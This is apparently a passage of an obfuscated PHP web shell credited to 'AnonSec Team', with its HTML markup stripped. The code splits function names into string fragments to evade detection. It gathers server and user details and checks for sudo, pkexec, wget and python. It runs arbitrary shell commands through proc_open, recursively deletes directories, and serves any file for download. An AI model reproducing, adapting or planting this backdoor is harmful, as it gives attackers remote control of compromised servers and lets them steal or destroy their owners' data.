‘;
set_time_limit(0);
error_reporting(0);$gcw = “ge”.”tc”.”wd”;
$exp = “ex”.”plo”.”de”;
$fpt = “fi”.”le_p”.”ut_co”.”nte”.”nts”;
$fgt = “f”.”ile_g”.”et_c”.”onten”.”ts”;
$sts = “s”.”trip”.”slash”.”es”;
$scd = “sc”.”a”.”nd”.”ir”;
$fxt = “fi”.”le_”.”exis”.”ts”;
$idi = “i”.”s_d”.”ir”;
$ulk = “un”.”li”.”nk”;
$ifi = “i”.”s_fi”.”le”;
$sub = “subs”.”tr”;
$spr = “sp”.”ri”.”ntf”;
$fp = “fil”.”epe”.”rms”;
$chm = “ch”.”m”.”od”;
$ocd = “oc”.”td”.”ec”;
$isw = “i”.”s_wr”.”itab”.”le”;
$idr = “i”.”s_d”.”ir”;
$ird = “is”.”_rea”.”da”.”ble”;
$isr = “is_”.”re”.”adab”.”le”;
$fsz = “fi”.”lesi”.”ze”;
$rd = “r”.”ou”.”nd”;
$igt = “in”.”i_g”.”et”;
$fnct = “fu”.”nc”.”tion”.”_exi”.”sts”;
$rad = “RE”.”M”.”OTE_AD”.”DR”;
$rpt = “re”.”al”.”pa”.”th”;
$bsn = “ba”.”se”.”na”.”me”;
$srl = “st”.”r_r”.”ep”.”la”.”ce”;
$sps = “st”.”rp”.”os”;
$mkd = “m”.”kd”.”ir”; $wb = (isset($_SERVER[‘H’.’T’.’TP’.’S’]) && $_SERVER[‘H’.’T’.’TP’.’S’] === ‘o’.’n’ ? “ht”.”tp”.”s” : “ht”.”tp”) . “://”.$_SERVER[‘HT’.’TP’.’_H’.’OS’.’T’]; $disfunc = @$igt(“dis”.”abl”.”e_f”.”unct”.”ion”.”s”);
if (empty($disfunc)) {
$disf = “NONE“;
} else {
$disf = ““.$disfunc.”“;
} function author() {
echo ”
An”.”on”.”7 – 2″.”02″.”2
An”.”on”.”Se”.”c Te”.”am“;
exit();
}function cekdir() {
if (isset($_GET[‘loknya’])) {
$lokasi = $_GET[‘loknya’];
} else {
$lokasi = “ge”.”t”.”cw”.”d”;
$lokasi = $lokasi();
}
$b = “i”.”s_w”.”ri”.”tab”.”le”;
if ($b($lokasi)) {
return “Writeable“;
} else {
return “Writeable“;
}
} function crt() {
$a = “is”.”_w”.”ri”.”tab”.”le”;
if ($a($_SERVER[‘DO’.’CU’.’ME’.’NT’.’_RO’.’OT’])) {
return “Writeable“;
} else {
return “Writeable“;
}
} function xrd($lokena) {
$a = “s”.”ca”.”nd”.”ir”;
$items = $a($lokena);
foreach ($items as $item) {
if ($item === ‘.’ || $item === ‘..’) {
continue;
}
$b = “is”.”_di”.”r”;
$loknya = $lokena.’/’.$item;
if ($b($loknya)) {
xrd($loknya);
} else {
$c = “u”.”nl”.”in”.”k”;
$c($loknya);
}
}
$d = “rm”.”di”.”r”;
$d($lokena);
} function cfn($fl) {
$a = “ba”.”sena”.”me”;
$b = “pat”.”hinf”.”o”;
$c = $b($a($fl), loknyaINFO_EXTENSION);
if ($c == “zip”) {
return ‘‘;
} elseif (preg_match(“/jpeg|jpg|png|ico/im”, $c)) {
return ‘‘;
} elseif ($c == “txt”) {
return ‘‘;
} elseif ($c == “pdf”) {
return ‘‘;
} elseif ($c == “html”) {
return ‘‘;
}
else {
return ‘‘;
}
} function ipsrv() {
$a = “g”.”eth”.”ost”.”byna”.”me”;
$b = “fun”.”cti”.”on_”.”exis”.”ts”;
$c = “S”.”ERVE”.”R_AD”.”DR”;
$d = “SE”.”RV”.”ER_N”.”AM”.”E”;
if ($b($a)) {
return $a($_SERVER[$d]);
} else {
return $a($_SERVER[$c]);
}
} function ggr($fl) {
$a = “fun”.”cti”.”on_”.”exis”.”ts”;
$b = “po”.”si”.”x_ge”.”tgr”.”gid”;
$c = “fi”.”le”.”gro”.”up”;
if ($a($b)) {
if (!$a($c)) {
return “?”;
}
$d = $b($c($fl));
if (empty($d)) {
$e = $c($fl);
if (empty($e)) {
return “?”;
} else {
return $e;
}
} else {
return $d[‘name’];
}
} elseif ($a($c)) {
return $c($fl);
} else {
return “?”;
}
} function gor($fl) {
$a = “fun”.”cti”.”on_”.”exis”.”ts”;
$b = “po”.”s”.”ix_”.”get”.”pwu”.”id”;
$c = “fi”.”le”.”o”.”wn”.”er”;
if ($a($b)) {
if (!$a($c)) {
return “?”;
}
$d = $b($c($fl));
if (empty($d)) {
$e = $c($fl);
if (empty($e)) {
return “?”;
} else {
return $e;
}
} else {
return $d[‘name’];
}
} elseif ($a($c)) {
return $c($fl);
} else {
return “?”;
}
} function fdt($fl) {
$a = “da”.”te”;
$b = “fil”.”emt”.”ime”;
return $a(“F d Y H:i:s”, $b($fl));
} function dunlut($fl) {
$a = “fil”.”e_exi”.”sts”;
$b = “ba”.”sena”.”me”;
$c = “fi”.”les”.”ize”;
$d = “read”.”fi”.”le”;
if ($a($fl) && isset($fl)) {
header(‘Con’.’tent-Descr’.’iption: Fi’.’le Tra’.’nsfer’);
header(“Conte’.’nt-Control:public”);
header(‘Cont’.’ent-Type: a’.’pp’.’licat’.’ion/oc’.’tet-s’.’tream’);
header(‘Cont’.’ent-Dis’.’posit’.’ion: at’.’tachm’.’ent; fi’.’lena’.’me=”‘.$b($fl).'”‘);
header(‘Exp’.’ires: 0′);
header(“Ex”.”pired:0″);
header(‘Cac’.’he-Cont’.’rol: must’.’-revali’.’date’);
header(“Cont”.”ent-Tran”.”sfer-Enc”.”oding:bi”.”nary”);
header(‘Pra’.’gma: pub’.’lic’);
header(‘Con’.’ten’.’t-Le’.’ngth: ‘ .$c($fl));
flush();
$d($fl);
exit;
} else {
return “Fi”.”le Not F”.”ound !”;
}
} function komend($kom, $lk) {
$x = “pr”.”eg_”.”mat”.”ch”;
$xx = “2”.”>”.”&”.”1″;
if (!$x(“/”.$xx.”/i”, $kom)) {
$kom = $kom.” “.$xx;
}
$a = “fu”.”ncti”.”on_”.”ex”.”is”.”ts”;
$b = “p”.”ro”.”c_op”.”en”;
$c = “htm”.”lspe”.”cialc”.”hars”;
$d = “s”.”trea”.”m_g”.”et_c”.”ont”.”ents”;
if ($a($b)) {
$ps = $b($kom, array(0 => array(“pipe”, “r”), 1 => array(“pipe”, “w”), 2 => array(“pipe”, “r”)), $meki, $lk);
return ” ".$c($d($meki[1]))." “;
} else {
return “pr”.”oc”.”_op”.”en f”.”unc”.”tio”.”n i”.”s di”.”sabl”.”ed !”;
}
} function green($text) {
echo ” “.$text.”“;
}function red($text) {
echo ” “.$text.”“;
}function oren($text) {
return ” “.$text.”“;
}function tuls($nm, $lk) {
return “[ “.$nm.” ] “;
} echo “Se”.”rv”.”er”.” I”.”P : “.ipsrv().” / Yo”.”ur I”.”P : “.$_SERVER[$rad].”
“;
echo “We”.”b S”.”erv”.”er : “.$_SERVER[‘SE’.’RV’.’ER_’.’SOF’.’TWA’.’RE’].”
“;
$unm = “ph”.”p_u”.”na”.”me”;
echo “Sys”.”tem : “.@$unm().”
“;
$gcu = “g”.”et_”.”curr”.”ent”.”_us”.”er”;
$gmu = “g”.”et”.”my”.”ui”.”d”;
echo “Us”.”er : “.@$gcu().” ( “.@$gmu().”)
“;
$phv = “ph”.”pve”.”rsi”.”on”;
echo “PH”.”P V”.”er”.”sio”.”n : “.@$phv().”
“;
echo “Dis”.”abl”.”e Fu”.”nct”.”ion : “.$disf.”
“;
echo “MySQL : “;
if (@$fnct(“my”.”sql_co”.”nne”.”ct”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | cURL : “;
if (@$fnct(“cu”.”rl”.”_in”.”it”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | WG”.”ET : “;
if (@$fxt(“/”.”us”.”r/b”.”in/w”.”get”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | Pe”.”rl : “;
if (@$fxt(“/u”.”sr/b”.”in”.”/pe”.”rl”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | Pyt”.”ho”.”n : “;
if (@$fxt(“/”.”us”.”r/b”.”in/p”.”ytho”.”n2″)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | S”.”u”.”do : “;
if (@$fxt(“/”.”us”.”r/b”.”in/s”.”u”.”d”.”o”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ” | Pk”.”e”.”x”.”e”.”c : “;
if (@$fxt(“/”.”us”.”r/b”.”in/p”.”k”.”e”.”x”.”e”.”c”)) {
echo “ON“;
} else {
echo “OFF“;
}
echo ”
Di”.”rect”.”ory : “; foreach($_POST as $key => $value){
$_POST[$key] = $sts($value);
} if(isset($_GET[‘loknya’])){
$lokasi = $_GET[‘loknya’];
$lokdua = $_GET[‘loknya’];
} else {
$lokasi = $gcw();
$lokdua = $gcw();
} $lokasi = $srl(‘\\’,’/’,$lokasi);
$lokasis = $exp(‘/’,$lokasi);
$lokasinya = @$scd($lokasi); foreach($lokasis as $id => $lok){
if($lok == ” && $id == 0){
$a = true;
echo ‘/‘;
continue;
}
if($lok == ”) continue;
echo ‘‘.$lok.’/’;
} echo ‘ |